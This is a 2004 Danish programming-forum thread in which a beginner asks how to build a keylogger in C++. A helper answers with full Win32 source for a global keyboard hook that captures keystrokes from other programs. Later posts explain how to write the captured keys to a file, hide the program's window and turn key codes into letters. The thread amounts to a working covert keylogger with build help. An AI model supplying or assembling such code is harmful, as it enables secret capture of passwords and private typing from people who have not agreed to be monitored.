01. november 2004 - 18:58
Der er
30 kommentarer
At lave keylogger ?
Hejza allesammen. Har rodet lidt med c++ (er total noob ! ) Men ved nogen hvordan en keylogger lavers. Vi nemlig gerne prøve have en kørende på min maskine. Vil ikke downloade en ! Kan nogen hjælpe ? Jeg bruger dec-cpp hvis det er. På forhånd tak
Annonceindlæg fra Infor
01. november 2004 - 18:59
#1
Keylogger er vidst ulovlige, hvis du vil sende den til andre.
01. november 2004 - 19:01
#2
De ikke ulovlige. De kan slidt bruges til et lovligt formål. Tror du alle disse firmaer som sælger dem, gør noget ulovligt.. NEJ.
01. november 2004 - 19:04
#3
de er ikke ulovlige :D de skal blot bruges på den lovlige måde!
ikke til at invadere folks privatliv.
men fx. til at overvåge medarbejdere på SIN EGEN virksomhed, for at se hvad de nu laver.
eller hvis man er system administrator.
bare ikke til at skaffe kodeord eller lignende private oplysninger..
www.google.com kan godt hjælpe, hvis du blot leder efter en keylogger. prøv at søge keylogger sourcecode ETC. du finder muligvis noget,
ellers kan du jo spørge på et c++ forum for mere hjælp end den du vil finde på E.
01. november 2004 - 19:05
#4
hejza. Men hellere lave en selv, så jeg måske kan lave nogen flere ting i det..
01. november 2004 - 19:20
#6
kunna faktisk også godt tænke mig et driis :D
01. november 2004 - 20:19
#7
driis --> min bruger (taager-kongen) er desværre lige blevet lukket :( ... Derfor vil jeg håbe du vil hjælpe mig videre her eller over mail. Jeg vil selvfølge gerne de samme points. Jeg kan desværre ikke se så meget ud af det link, så håber du vil noget et eksempel. Min msn er jet_fox_madsen[a]hotmail.com På forhånd tak.
01. november 2004 - 23:21
#8
#include <windows.h> #include <stdio.h> #define IDC_EDIT 1200 HINSTANCE InstanceHandle; HHOOK Hook; HWND WindowHandle; LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) { if(code == HC_ACTION) { char Message[128]; sprintf(Message, "Virtual Key Code: %08X, Info: %08X", wParam, lParam); SetDlgItemText(WindowHandle, IDC_EDIT, Message); } return CallNextHookEx(Hook, code, wParam, lParam); } LRESULT CALLBACK DialogProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_CREATE: { CreateWindow("EDIT", "", WS_CHILD | WS_VISIBLE| ES_AUTOHSCROLL, 10, 10, 290, 20, hwndDlg, (HMENU )(IDC_EDIT), InstanceHandle, 0); Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(0), 0); WindowHandle = hwndDlg; } break; } return DefWindowProc(hwndDlg, msg, wParam, lParam); }; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpCmdLine, INT nCmdShow) { WNDCLASS wc; InstanceHandle = hInstance; memset(&wc, 0, sizeof(WNDCLASS)); wc.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; wc.lpfnWndProc = DialogProc; wc.hInstance = InstanceHandle; wc.hbrBackground = (HBRUSH )(COLOR_BTNFACE + 1); wc.lpszClassName = "WhateverClass"; wc.hCursor = LoadCursor(NULL, IDC_ARROW); if(!RegisterClass(&wc)) return FALSE; HWND WindowHandle = CreateWindow("WhateverClass", "Whatever", WS_MINIMIZEBOX | WS_VISIBLE | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_MAXIMIZEBOX | WS_CAPTION | WS_BORDER | WS_SYSMENU, 100, 100, 400, 100, NULL, NULL, InstanceHandle, 0); MSG Msg; while(GetMessage(&Msg, WindowHandle, 0, 0xFFFF) > 0) { if(!IsDialogMessage(WindowHandle, &Msg)) { TranslateMessage(&Msg); DispatchMessage(&Msg); } } return 0; }
02. november 2004 - 12:16
#9
Hejza bertel.. Kan ikke rigtigt få den til at virke ... Har complikert programmet og det er åbnet.. Men der sker ikke rigtigt noget,.. Hvis jeg begynder og taste (som nu) kan jeg ikke se det :S .. Gør jeg noget forkert ?
02. november 2004 - 20:10
#10
En anden version, der bruger WH_KEYBOARD_LL (kræver vist NT/2000/XP), du kan også prøve WH_JOURNALRECORD. #include <windows.h> #include <stdio.h> #define IDC_EDIT 1200 HINSTANCE InstanceHandle; HHOOK Hook; HWND WindowHandle; LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) { char Msg[1024]; KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam; sprintf(Msg, "Msg: %u, VirtKey: %u Scan: %08X", wParam, HookStruct->vkCode, HookStruct->scanCode); SetDlgItemText(WindowHandle, IDC_EDIT, Msg); return CallNextHookEx(Hook, code, wParam, lParam); } LRESULT CALLBACK DialogProc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch(msg) { case WM_CREATE: { CreateWindow("EDIT", "", WS_CHILD | WS_VISIBLE| ES_AUTOHSCROLL, 10, 10, 290, 20, hwndDlg, (HMENU )(IDC_EDIT), InstanceHandle, 0); Hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(0), 0); WindowHandle = hwndDlg; } break; } return DefWindowProc(hwndDlg, msg, wParam, lParam); }; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR lpCmdLine, INT nCmdShow) { WNDCLASS wc; InstanceHandle = hInstance; memset(&wc, 0, sizeof(WNDCLASS)); wc.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; wc.lpfnWndProc = DialogProc; wc.hInstance = InstanceHandle; wc.hbrBackground = (HBRUSH )(COLOR_BTNFACE + 1); wc.lpszClassName = "WhateverClass"; wc.hCursor = LoadCursor(NULL, IDC_ARROW); if(!RegisterClass(&wc)) return FALSE; HWND WindowHandle = CreateWindow("WhateverClass", "Whatever", WS_MINIMIZEBOX | WS_VISIBLE | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_MAXIMIZEBOX | WS_CAPTION | WS_BORDER | WS_SYSMENU, 100, 100, 400, 100, NULL, NULL, InstanceHandle, 0); MSG Msg; while(GetMessage(&Msg, WindowHandle, 0, 0xFFFF) > 0) { if(!IsDialogMessage(WindowHandle, &Msg)) { TranslateMessage(&Msg); DispatchMessage(&Msg); } } return 0; }
02. november 2004 - 23:06
#11
Det begynder og ligne... :D ... Takker.. Men vil du ikke lig forklarer mig hvor jeg skal slette den box der, så jeg istedet indsætte det en tekst fil.. I det ikke denne linjie SetDlgItemText(WindowHandle, IDC_EDIT, Msg); Eller er det den ovenover ?
02. november 2004 - 23:17
#12
Linien med sprintf formaterer strengen der udskrives, linien med SetDlgItemText putter strengen ud på edit-box'en. Du kan åbne en fil med fopen og erstatte sprintf med en fprintf, så den skriver til filen og ikke edit-box'en.
02. november 2004 - 23:34
#13
Bertel, skal du ikke have din HookProc over i en DLL for at andre programmer kan kalde den? Eller fanger dit program også input skrevet i andre programmer?
03. november 2004 - 00:10
#14
Jeg troede også i starten at man skulle have hookproc til at være i en DLL, men det er tilsyneladende ikke nødvendigt. Programmet fanger også input mens andre programmer er aktive.
03. november 2004 - 09:00
#15
Er det muligt at fjerne hele boxen ? så det kun er en sort skærm ?
03. november 2004 - 20:07
#16
Den hurtige metode er at fjerne WS_VISIBLE Hvilken sort skærm ?
03. november 2004 - 22:11
#17
når jeg åbner programet åbens en sort box (ligner command) og den whatever box.
03. november 2004 - 22:29
#18
ok fandt ud af med den lille box.. Vil arbejde lidt videre med mit program.. Der kommer nok nogen spørgsmål senere :D .. Vil du have points ?
03. november 2004 - 22:31
#19
Har dog lige et lille spm til dig.. Hvis det okay ? Programmet vises eks dette: Msg: 257, VirtKey: 13 Scan: 0000001C Hvordan laver jeg det om til en rigtigt tast.. ?
04. november 2004 - 09:34
#21
Hvad mener du ? Hvis jeg nu har koden : Msg: 257, VirtKey: 13 Scan: 0000001C Hvordan laver jeg det så om til noget andet ? et bogstav ? Altså en kode som laver denne kode Msg: 257, VirtKey: 13 Scan: 0000001C til et enter..
04. november 2004 - 20:08
#22
Enter er det samme som 13 som er det samme som '\n' som er det samme som VK_RETURN som der det samme som return.
04. november 2004 - 20:48
#23
ja... Men hvordan laver jeg kode som dekoder sådan en kode? Altså fra Msg: 257, VirtKey: 87 Scan: 00000011 til w .. hvad er scan og mgs ?
04. november 2004 - 21:00
#24
Msg/wParam er som anført ovenfor WM_KEYUP ..., så her kan du se om tasten trykkes ned eller slippes. scan er sansynligvis ikke nødvendig. HookStruct->vkCode er taste koden dvs et 'A' eller Enter ('\n') osv. Hvordan vil du have output til at se ud?
04. november 2004 - 21:09
#25
Altså mgs er forstået. Virtkey --> Vil jeg gerne have en kode som regner tallet over til et bogstav istedet. Scan ? Hvad er det? Out vil jeg gerne have til at se således ud: mgs: 257 , vitkey: a scan : ?
04. november 2004 - 21:37
#26
Et eksempel på et andet output, du kan selv fortsætte: LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) { char Msg[1024]; bool IsDown = false; char Key; KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam; if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) IsDown = true; if((HookStruct->vkCode >= 'A' && HookStruct->vkCode <= 'Z') || (HookStruct->vkCode >= '0' && HookStruct->vkCode <= '9')) { Key = (char )HookStruct->vkCode; sprintf(Msg, "Normal Key%s: %c", IsDown ? "Down" : "Up", Key); } else if(HookStruct->vkCode == '\n') { sprintf(Msg, "Enter Key%s", IsDown ? "Down" : "Up"); } else if(HookStruct->vkCode >= VK_F1 && HookStruct->vkCode <= VK_F12) { sprintf(Msg, "F%d Key%s", HookStruct->vkCode - VK_F1 + 1, IsDown ? "Down" : "Up"); } else { sprintf(Msg, "Some other Key%s: %d", IsDown ? "Down" : "Up", HookStruct->vkCode); } SetDlgItemText(WindowHandle, IDC_EDIT, Msg); return CallNextHookEx(Hook, code, wParam, lParam); }
04. november 2004 - 21:38
#27
for fejl : bool IsDown = false;
04. november 2004 - 21:42
#28
Det er C++, oversætter du som C ? Prøv at putte dette ind øverst: typedef enum { false, true }bool;
04. november 2004 - 21:46
#29
koden er: typedef enum { false, true }bool; LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) { char Msg[1024]; bool IsDown = false; char Key; KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam; if(wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) IsDown = true; if((HookStruct->vkCode >= 'A' && HookStruct->vkCode <= 'Z') || (HookStruct->vkCode >= '0' && HookStruct->vkCode <= '9')) { Key = (char )HookStruct->vkCode; sprintf(Msg, "Normal Key%s: %c", IsDown ? "Down" : "Up", Key); } else if(HookStruct->vkCode == '\n') { sprintf(Msg, "Enter Key%s", IsDown ? "Down" : "Up"); } else if(HookStruct->vkCode >= VK_F1 && HookStruct->vkCode <= VK_F12) { sprintf(Msg, "F%d Key%s", HookStruct->vkCode - VK_F1 + 1, IsDown ? "Down" : "Up"); } else { sprintf(Msg, "Some other Key%s: %d", IsDown ? "Down" : "Up", HookStruct->vkCode); } SetDlgItemText(WindowHandle, IDC_EDIT, Msg); return CallNextHookEx(Hook, code, wParam, lParam); } Og får denne fejl : LRESULT CALLBACK LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) Er der noget jeg mangler. som windows.h eller sådan noget ?
04. november 2004 - 22:21
#30
Du skal erstatte funktionen med den den fra "02/11-2004 20:10:51"
Kurser inden for grundlæggende programmering